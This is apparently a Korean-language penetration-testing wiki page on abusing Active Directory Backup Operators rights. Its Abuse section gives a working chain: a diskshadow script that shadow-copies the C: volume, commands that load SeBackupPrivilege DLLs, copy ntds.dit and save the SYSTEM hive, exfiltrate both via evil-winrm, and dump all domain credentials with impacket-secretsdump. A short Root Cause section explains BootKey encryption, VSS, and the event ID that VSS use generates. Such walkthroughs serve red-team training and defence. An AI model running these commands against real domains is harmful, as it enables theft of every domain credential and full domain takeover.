Backup Operators

Backup Operators 그룹은 AD에서 시스템 파일을 백업할 수 있는 그룹입니다. 백업을 위해서는 모든 디렉토리 및 파일에 접근이 가능해야 하기 때문에 제약 없이 대부분의 ACL을 무시합니다.

도메인 컨트롤러의 ntds 파일에는 도메인에 객체들에 대한 자격 증명 등에 관한 민감한 데이터부터 도메인에 대한 대부분의 정보가 들어있습니다. 공격자가 백업 권한을 가지게 되면 ntds 파일을 덤프하여 도메인에 있는 모든 정보를 탈취할 수 있습니다.

Abuse

script.txt
set context persistent nowriters                                                                                                                                                 
set metadata C:\\Windows\\Temp\\metedata.cab                                                                                                                                        
set verbose on                                                                                                                                                                   
add volume C: alias privesccopy                                                                                                                                                  
create                                                                                  
expose %privesccopy% x:  

파일 복제를 위해 깃허브로부터 라이브러리 2개를 다운받아 윈도우 환경으로 옮깁니다. Backup Operators 권한 악용에 대한 상용 모듈이 현 시점에서는 개발되지 않았기 때문에 실습은 Evil-Winrm 혹은 GUI 환경에서만 가능합니다.

Evil-Winrm의 경우 UNIX 환경이라 위 스크립트를 그대로 옮길 경우 포맷 방식의 차이로 인해 정상 동작하지 않을 수 있어 다음 명령으로 포맷을 변경합니다.

unix2dos script.txt

이제 파워쉘 환경에서 ntds와 system 하이브를 복제 후 크리덴셜을 덤프합니다.

# DLL 파일 로드
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

# VSS를 통해 디스크 복제
diskshadow /s script.txt

# ntds 파일 다운로드
Copy-FileSeBackupPrivilege X:\Windows\ntds\ntds.dit C:\Windows\Temp\ntds.dit
download ntds.dit

# System 파일 다운로드
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
download SYSTEM

# 크리덴셜 복호화
impacket-secretsdump -system system -ntds ntds.dit LOCAL

Root Cause

ntds 파일은 도메인의 데이터베이스입니다. 도메인의 모든 정보들이 들어있으며 민감한 데이터는 암호화되어 저장되지만 평문으로 저장되는 정보들이 대다수입니다.

암호화와 복호화는 동일한 대칭키를 사용하며 서버의 BootKey를 사용합니다.

BootKey는 System 레지스트리 하이브에 저장됩니다.

ntds 파일 복사 시 오류 메시지

ntds는 도메인의 데이터베이스이기 때문에 항상 사용중인 상태입니다. 따라서 윈도우 쉘을 획득하더라도 이 파일을 직접적으로 복제하는 행위는 GUI를 얻어 대화형 프롬프트가 가능하지 않은 이상 다른 방법을 사용해야 합니다.

Microsoft에서는 VSS(Volume Shadow Copy Service)를 제공합니다. 이는 애플리케이션이 실행 상태이더라도 I/O를 제어함에 따라 백업할 수 있는 서비스입니다.

VSS 동작 원리

VSS는 Windows 10 및 Windows Server 2016 이상이면 기본적으로 설치되어 있습니다. evil-winrm 등은 대화형 프롬프트가 아니기 때문에 VSS에서 스크립트 모드를 사용하여 원라인으로 디스크를 복제합니다.

VSS를 사용 시 윈도우 7036 보안 이벤트가 생성됩니다.

References

Last updated

Was this helpful?